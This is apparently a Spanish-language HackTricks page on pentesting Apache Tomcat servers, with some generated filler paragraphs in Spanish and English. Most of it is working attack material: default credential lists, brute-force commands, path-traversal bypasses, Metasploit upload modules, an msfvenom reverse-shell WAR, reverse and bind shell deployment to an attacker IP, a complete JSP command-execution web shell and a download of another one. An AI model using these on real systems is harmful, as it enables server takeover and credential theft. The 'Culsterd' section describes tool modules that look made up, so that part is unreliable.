hacktricks/network-services-pentesting/pentesting-web/tomcat.md

19 KiB

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos de amenazas proactivas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Descubrimiento

  • Normalmente se ejecuta en el puerto 8080
  • Error común de Tomcat:

Enumeración

Versión

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

Localizar archivos del administrador

Es interesante encontrar dónde se encuentran las páginas /manager y /host-manager ya que podrían tener un nombre diferente. Puedes buscarlos mediante un ataque de fuerza bruta.

Enumeración de nombres de usuario

En algunas versiones anteriores a Tomcat6, era posible enumerar usuarios:

msf> use auxiliary/scanner/http/tomcat_enum

Credenciales predeterminadas

La ruta más interesante de Tomcat es /manager/html, dentro de esa ruta puedes cargar y desplegar archivos war (ejecutar código). Pero esta ruta está protegida por autenticación básica HTTP, las credenciales más comunes son:

  • admin:admin
  • tomcat:tomcat
  • admin:<NADA>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Puedes probar estas y más utilizando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Otra ruta interesante de Tomcat es /manager/status, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a /manager/html.

Ataque de fuerza bruta

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulns

Divulgación de trazas de contraseña

Intenta acceder a /auth.jsp y si tienes mucha suerte, podría revelar la contraseña en una traza.

Doble codificación de URL

Una vulnerabilidad conocida para acceder al administrador de aplicaciones __ es mod_jk en CVE-2007-1860, que permite la travesía de directorios con doble codificación de URL.

Para acceder al administrador web de Tomcat, ve a: pathTomcat/%252E%252E/manager/html

Ten en cuenta que para cargar el webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.
Para acceder a la puerta trasera también es posible que necesites usar el truco de la doble codificación de URL.

/examples

Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x pueden ser utilizados por atacantes para obtener información sobre el sistema. También se sabe que estos scripts son vulnerables a la inyección de scripting entre sitios (XSS) (desde aquí).

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Travesía de directorios (..;/)

En algunas configuraciones vulnerables de Tomcat, puedes obtener acceso a directorios protegidos en Tomcat utilizando la ruta: /..;/

Entonces, por ejemplo, podrías ser capaz de acceder a la página del administrador de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html

Otra forma de evadir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html

RCE

Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes cargar y desplegar un archivo .war (ejecutar código).

Limitaciones

Solo podrás desplegar un archivo WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Los detalles se pueden encontrar en tomcat-users.xml, generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml (varía entre versiones) (ver sección POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit es una herramienta de código abierto ampliamente utilizada para realizar pruebas de penetración en sistemas y redes. Proporciona una amplia gama de módulos y exploits que pueden ser utilizados para identificar y aprovechar vulnerabilidades en los sistemas objetivo.

Metasploit se utiliza comúnmente para realizar ataques contra servicios web, como el servidor Apache Tomcat. Tomcat es un servidor web y de aplicaciones ampliamente utilizado que se utiliza para ejecutar aplicaciones Java en un entorno de servidor.

Metasploit proporciona módulos específicos para la explotación de vulnerabilidades en Tomcat. Estos módulos pueden ser utilizados para identificar y aprovechar vulnerabilidades conocidas en versiones específicas de Tomcat.

Al utilizar Metasploit para realizar pruebas de penetración en Tomcat, es importante tener en cuenta que se requiere un conocimiento sólido de las técnicas de hacking y de las vulnerabilidades específicas de Tomcat. Además, es fundamental obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sistema o red.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

El shell inverso de MSFVenom es una técnica comúnmente utilizada en pruebas de penetración para obtener acceso remoto a un sistema objetivo. Permite a un atacante ejecutar comandos en el sistema objetivo desde una máquina remota.

El shell inverso se crea utilizando la herramienta MSFVenom, que es parte del marco de Metasploit. MSFVenom se utiliza para generar payloads maliciosos que se pueden utilizar en ataques de hacking.

Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload "windows/meterpreter/reverse_tcp", que es compatible con sistemas Windows.

A continuación, especificamos la dirección IP y el puerto al que queremos que se conecte el shell inverso. Esto se hace utilizando los parámetros "LHOST" y "LPORT".

Una vez que hayamos generado el payload, podemos enviarlo al sistema objetivo utilizando diferentes métodos, como enviarlo por correo electrónico, cargarlo en un sitio web o utilizar ingeniería social para que el usuario lo ejecute.

Cuando el payload se ejecuta en el sistema objetivo, se establece una conexión entre el sistema objetivo y la máquina del atacante. Esto permite al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.

Es importante tener en cuenta que el uso de técnicas de shell inverso sin el consentimiento del propietario del sistema objetivo es ilegal y está sujeto a sanciones legales. El shell inverso debe utilizarse únicamente con fines educativos o en pruebas de penetración autorizadas.

msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war

A continuación, cargue el archivo revshell.war y acceda a él (/revshell/)

Conexión de shell inversa y de enlace con tomcatWarDeployer.py

En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)

Descargar

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Shell inversa

Una shell inversa es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema comprometido. En lugar de establecer una conexión saliente desde el sistema comprometido, la shell inversa establece una conexión entrante desde el sistema comprometido al atacante. Esto permite al atacante ejecutar comandos en el sistema comprometido y obtener control total sobre él.

La shell inversa se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red, como el servidor web Apache Tomcat. Una vez que se ha establecido una conexión inversa, el atacante puede utilizar la shell para ejecutar comandos en el sistema comprometido, transferir archivos, obtener información confidencial y realizar otras actividades maliciosas.

Es importante tener en cuenta que la utilización de una shell inversa sin el consentimiento del propietario del sistema es ilegal y puede tener consecuencias legales graves. La shell inversa debe utilizarse únicamente con fines de pentesting ético y con el permiso explícito del propietario del sistema.

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de conexión

Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión de red entre el atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.

El shell de conexión se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red o la inyección de código malicioso en aplicaciones web. Una vez establecida la conexión, el atacante puede ejecutar comandos en el sistema objetivo y obtener acceso a sus recursos.

El shell de conexión se utiliza comúnmente en la pentesting web para realizar actividades maliciosas, como el robo de información confidencial, la modificación de archivos del sistema o la instalación de malware. Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves.

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Usando Culsterd

Culsterd is a tool that can be used to exploit vulnerabilities in Apache Tomcat servers. It provides a set of modules that can be used to perform various attacks, such as information gathering, brute forcing, and remote code execution.

To use Culsterd, you first need to install it on your machine. You can do this by cloning the repository from GitHub and following the installation instructions provided in the README file.

Once you have Culsterd installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the tomcat_enum module to enumerate valid usernames on a Tomcat server. This can be useful for launching brute force attacks against the server.

Another module provided by Culsterd is tomcat_bypass. This module can be used to bypass authentication on a Tomcat server by exploiting a vulnerability in the server's authentication mechanism.

Culsterd also provides a module called tomcat_rce that can be used to execute arbitrary code on a vulnerable Tomcat server. This can be particularly dangerous as it allows an attacker to gain full control over the server.

To use Culsterd, you need to provide it with the necessary information about the target Tomcat server, such as its IP address, port number, and any authentication credentials that may be required. Once you have provided this information, you can run the desired module and Culsterd will attempt to exploit the vulnerability.

It is important to note that Culsterd should only be used for ethical hacking purposes and with proper authorization. Using it without permission can lead to legal consequences.

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual - Web shell

Crea index.jsp con este contenido:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

También puedes instalar esto (permite cargar, descargar y ejecutar comandos): http://vonloesch.de/filebrowser.html

Método Manual 2

Obtén una web shell JSP como esta y crea un archivo WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

El nombre del archivo de credenciales de Tomcat es tomcat-users.xml.

find / -name tomcat-users.xml 2>/dev/null

Otras formas de obtener credenciales de Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Otras herramientas de escaneo de Tomcat

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥